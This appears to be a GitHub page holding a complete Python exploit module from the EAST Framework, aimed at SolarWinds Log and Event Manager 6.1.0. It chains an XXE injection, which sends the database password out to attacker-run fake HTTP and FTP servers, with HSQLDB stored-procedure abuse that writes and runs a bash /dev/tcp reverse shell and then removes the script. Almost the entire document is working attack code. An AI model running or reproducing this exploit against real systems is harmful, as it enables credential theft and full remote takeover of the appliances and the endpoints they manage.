Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
282 lines (259 sloc) 12.6 KB
#! /usr/bin/env python
# -*- coding: utf_8 -*-
# The exploit is a part of EAST Framework - use only under the license agreement specified in LICENSE.txt in your EAST Framework distribution
import threading
import Queue
import SocketServer
import socket
import ssl
import struct
import re
import time
import sys
sys.path.append("./core")
from Sploit import Sploit
INFO = {}
INFO['NAME'] = "ef_solarwinds_log_and_event_manager_rce"
INFO['DESCRIPTION'] = "Solarwinds Log and Event Manager/Trigeo SIM 6.1.0 - Remote Command Execution"
INFO['VENDOR'] = "http://www.solarwinds.com/"
INFO['DOWNLOAD_LINK'] = 'http://downloads.solarwinds.com/solarwinds/Release/LEM/SolarWinds-LEM-v6.1.0-Evaluation-VMware.exe'
INFO['LINKS'] = 'https://www.exploit-db.com/exploits/38644/'
INFO["CVE Name"] = "?"
INFO["NOTES"] = """
Solarwinds Log and Event Manager is vulnerable to an XML external entity injection
through the agent message processing service. This service listens on TCP port 37891. Using
a crafted XML message, an attacker can trigger the vulnerability and force the disclosure of
arbitrary files on the appliance. This vulnerability can be abused to allow remote execution
of arbitrary system commands, which will lead to complete compromise of the LEM appliance and
furthermore lead to full control of any connected endpoint agents that may be deployed
throughout the enterprise.
"""
INFO['CHANGELOG'] = "16 Nov, 2015. Written by Gleg team."
INFO['PATH'] = 'Exploits/General/'
OPTIONS = {}
OPTIONS["HOST"] = "127.0.0.1"
class FakeWebServer(SocketServer.TCPServer):
def __init__(self, server_address, RequestHandlerClass, bind_and_activate, ftp_ip):
self.ftp_ip = ftp_ip
SocketServer.TCPServer.__init__(self, server_address, RequestHandlerClass, bind_and_activate=True)
class FakeWebServerHandler(SocketServer.BaseRequestHandler):
def handle(self):
# We don't check the request, just always send the dtd
http_req = b''
while b'\r\n\r\n' not in http_req:
http_req += self.request.recv(4096)
dtd = '''<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % boomgoesthedynamite "<!ENTITY sendcreds SYSTEM 'ftp://ownme:%payload;@''' + self.server.ftp_ip + '''/thanks'>">
%boomgoesthedynamite;'''
headers = ('''HTTP/1.0 200 OK\r\n'''
'''Content-Type: text/xml\r\n\r\n''')
self.request.sendall(headers.encode('ascii'))
self.request.sendall(dtd)
class FakeFTPServer(SocketServer.TCPServer):
def __init__(self, server_address, RequestHandlerClass, bind_and_activate, message_queue):
self.message_queue = message_queue
SocketServer.TCPServer.__init__(self, server_address, RequestHandlerClass, bind_and_activate=True)
class FakeFTPServerHandler(SocketServer.BaseRequestHandler):
def handle(self):
self.request.sendall("220 FTP Server Ready\r\n")
ftp_req = b''
while b'USER ' not in ftp_req:
ftp_req += self.request.recv(4096)
self.request.sendall("331 Password Required\r\n")
while b'PASS ' not in ftp_req:
ftp_req += self.request.recv(4096)
match = re.search("hsql_sa_password=(.*)", ftp_req)
if match:
self.server.message_queue.put(match.group(1))
class HSQLClient:
def __init__(self, host, port, user, passwd, database):
self.host = host
self.port = port
self.user = user
self.passwd = passwd
self.database = database
self.logged_in = False
self.sock = None
def _start_session(self):
self.sock.send("\xff\xe1\x54\x70")
def _parse_login_response(self, response):
op = struct.unpack("c", response[0:1])
if op[0] != "\x0b":
return False
else:
return True
def _send_login_info(self):
db_len = struct.pack(">L", len(self.database))
user_len = struct.pack(">L", len(self.user))
pass_len = struct.pack(">L", len(self.passwd))
timezone_len = struct.pack(">L", len("America/Chicago"))
pkt_len = 4 + len(db_len) + len(self.database) + \
len(user_len) + len(self.user) + len(pass_len) + len(self.passwd) + \
len(timezone_len) + len("America/Chicago") + len("\xff\xff\xb9\xb0")
pkt_len = struct.pack(">L", pkt_len)
login_pkt = "\x1f" + \
pkt_len + \
db_len + \
self.database + \
user_len + \
self.user + \
pass_len + \
self.passwd + \
timezone_len + \
"America/Chicago" + \
"\xff\xff\xb9\xb0"
self.sock.send(login_pkt)
self.sock.send("\x00")
res = self.sock.recv(5)
res_len = struct.unpack(">L", res[1:])
res += self.sock.recv(res_len[0] - 4)
# Responses end with a sungle null byte
self.sock.recv(1)
login_ok = self._parse_login_response(res)
if login_ok:
return True
else:
return False
def single_query(self, sql_query):
if not self.logged_in:
raise ValueError("Not logged in to hsql server!")
query_len = struct.pack(">L", len(sql_query))
pkt_len = 4 + len("\x00\x00\x00\x00" + \
"\x00\x00\x00\x00" + "\x00" + "\x00\x00\x00\x00") + \
len(sql_query) + len("\x02\x00\x00\x02")
pkt_len = struct.pack(">L", pkt_len)
query_pkt = "\x22" + \
pkt_len + \
"\x00\x00\x00\x00" + \
"\x00\x00\x00\x00" + \
"\x00" + \
query_len + \
sql_query + \
"\x02\x00\x00\x02"
self.sock.send(query_pkt)
self.sock.send("\x00")
res = self.sock.recv(5)
res_len = struct.unpack(">L", res[1:])
res += self.sock.recv(res_len[0] - 4)
# Responses end with single null byte
self.sock.recv(1)
return res
def close(self):
if not self.logged_in:
raise ValueError("Not logged in to hsql server!")
self.sock.send("\x20\x00\x00\x00\x04\x00")
res = self.sock.recv(5)
res_len = struct.unpack(">L", res[1:])
res += self.sock.recv(res_len[0] - 4)
# Responses end with single null byte
self.sock.recv(1)
self.sock.close()
def connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.connect((self.host, self.port))
self._start_session()
self.logged_in = self._send_login_info()
if not self.logged_in:
self.sock.close()
raise ValueError("Login failed to hsql server!")
class exploit(Sploit):
def __init__(self, host = "", port = 0, logger = None):
Sploit.__init__(self, logger = logger)
self.name = INFO['NAME']
self.host = host
self.port = 4000
self.state = "running"
return
def args(self):
self.args = Sploit.args(self, OPTIONS)
self.host = self.args.get('HOST', self.host)
if self.args['listener']:
port = int(self.args['listener']['PORT'])
return
def trigger_reverse_shell(self, hsql_host, sa_password, reverse_shell_host, reverse_shell_port):
# Create a function that allows us to call a public static method. To abuse openBrowser
# below, we have to call setProperty and set h2.browser to our own binary.
set_prop_func = "CREATE FUNCTION my_set_property(k VARCHAR(100), v VARCHAR(100))\r" + \
"RETURNS VARCHAR(100)\r" + \
"LANGUAGE JAVA DETERMINISTIC NO SQL\r" + \
"EXTERNAL NAME 'CLASSPATH:java.lang.System.setProperty'"
# A procedure is required to execute a public static method that returns no value
# We will abuse the openBrowser method in Server.class within the h2-1.3.174.jar file
# that is included in the classpath by the trigeo java process. openBrowser calls
# Runtime.getRuntime().exec and can be tricked into executing our own command instead
# of a browser.
exec_param_proc = "CREATE PROCEDURE my_exec_params(IN args VARCHAR(100))\r" + \
"LANGUAGE JAVA\r" + \
"EXTERNAL NAME 'CLASSPATH:org.h2.tools.Server.openBrowser'"
hsql_cli = HSQLClient(hsql_host, 9001, "sa", sa_password, "alertdb")
hsql_cli.connect()
hsql_cli.single_query(set_prop_func)
hsql_cli.single_query(exec_param_proc)
hsql_cli.single_query("CREATE TABLE bash_shell(script VARCHAR(100))")
hsql_cli.single_query("INSERT INTO bash_shell(script) VALUES ('0<&196;exec 196<>/dev/tcp/" + str(reverse_shell_host) + "/" + str(reverse_shell_port) + "; sh <&196 >&196 2>&196')")
hsql_cli.single_query("CREATE TEXT TABLE export (LIKE bash_shell)")
hsql_cli.single_query("SET TABLE export SOURCE 'pwned.sh;all_quoted=false'")
hsql_cli.single_query("INSERT INTO export (SELECT script FROM bash_shell)")
hsql_cli.single_query("DROP TABLE export")
hsql_cli.single_query("DROP TABLE bash_shell")
hsql_cli.single_query("CALL my_set_property('h2.browser', 'bash')")
hsql_cli.single_query("CALL my_exec_params('/var/alertdata/hsql/pwned.sh')")
hsql_cli.single_query("CALL my_set_property('h2.browser', 'rm')")
hsql_cli.single_query("CALL my_exec_params('/var/alertdata/hsql/pwned.sh')")
hsql_cli.single_query("DROP FUNCTION my_set_property")
hsql_cli.single_query("DROP PROCEDURE my_exec_params")
hsql_cli.close()
def exploit_xxe(self, lem_host, local_webserver_ip):
url = "\"http://%s/hsql_creds.dtd\"" % (local_webserver_ip)
# The log and event manager fails to disable external entities so we send an agent -> manager
# hello request to trigger the vulnerability. Fields can be arbitrary in this request.
xxe_req = '''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE solr [<!ENTITY % payload SYSTEM "file:///usr/local/contego/run/sqlresources/passwords.data" >
<!ENTITY % dtd SYSTEM ''' + url + '''> %dtd;]>
<ns3:hello xmlns="http://www.solarwinds.com/lem/protocol/1_0/encryptfs" xmlns:ns2="http://www.solarwinds.com/lem/protocol/1_0/fim" xmlns:ns3="http://www.solarwinds.com/lem/protocol/1_0" xmlns:ns4="http://www.solarwinds.com/lem/protocol/1_0/modman" id="6"><ns3:agentId>100000101</ns3:agentId><ns3:properties><ns3:key>protocol.hello.os</ns3:key><ns3:value>Windows 7;6.1;x86</ns3:value></ns3:properties><ns3:properties><ns3:key>protocol.hello.usb_service</ns3:key><ns3:value>false</ns3:value></ns3:properties><ns3:protocolVersion>1.0</ns3:protocolVersion><ns3:releaseVersion>&sendcreds;</ns3:releaseVersion></ns3:hello>'''
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ssl_sock = ssl.wrap_socket(sock, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_TLSv1)
ssl_sock.connect((lem_host, 37891))
res = ssl_sock.write(struct.pack(">L", len(xxe_req)) + xxe_req)
ssl_sock.close()
def run(self):
self.args()
self.log("Attacking {}".format(self.host))
local_ip = socket.gethostbyname(socket.gethostname())
message_queue = Queue.Queue()
ftp_server = FakeFTPServer((local_ip, 21), FakeFTPServerHandler, True, message_queue)
ftp_server_thread = threading.Thread(target=ftp_server.serve_forever)
ftp_server_thread.daemon = True
ftp_server_thread.start()
self.log("FTP server started...")
web_server = FakeWebServer((local_ip, 80), FakeWebServerHandler, True, local_ip)
web_server_thread = threading.Thread(target=web_server.serve_forever)
web_server_thread.daemon = True
web_server_thread.start()
self.log("Webserver started...")
time.sleep(3)
try:
self.exploit_xxe(self.host, local_ip)
except:
self.log('Please, restart module')
return False
try:
hsql_sa_pass = message_queue.get(timeout = 10)
except Queue.Empty:
self.log("Failed to retrieve hsql sa password!")
self.finish(False)
return False
self.log("Retrieved hsql sa password: " + hsql_sa_pass)
time.sleep(3)
self.log("Triggering reverse shell")
self.trigger_reverse_shell(self.host, hsql_sa_pass, local_ip, self.port)
self.finish(True)
return True
if __name__ == '__main__':
"""
By now we only have the tool mode for exploit..
Later we would have standalone mode also.
"""
print "Running exploit %s .. " % INFO['NAME']
e = exploit('', 80)
e.run()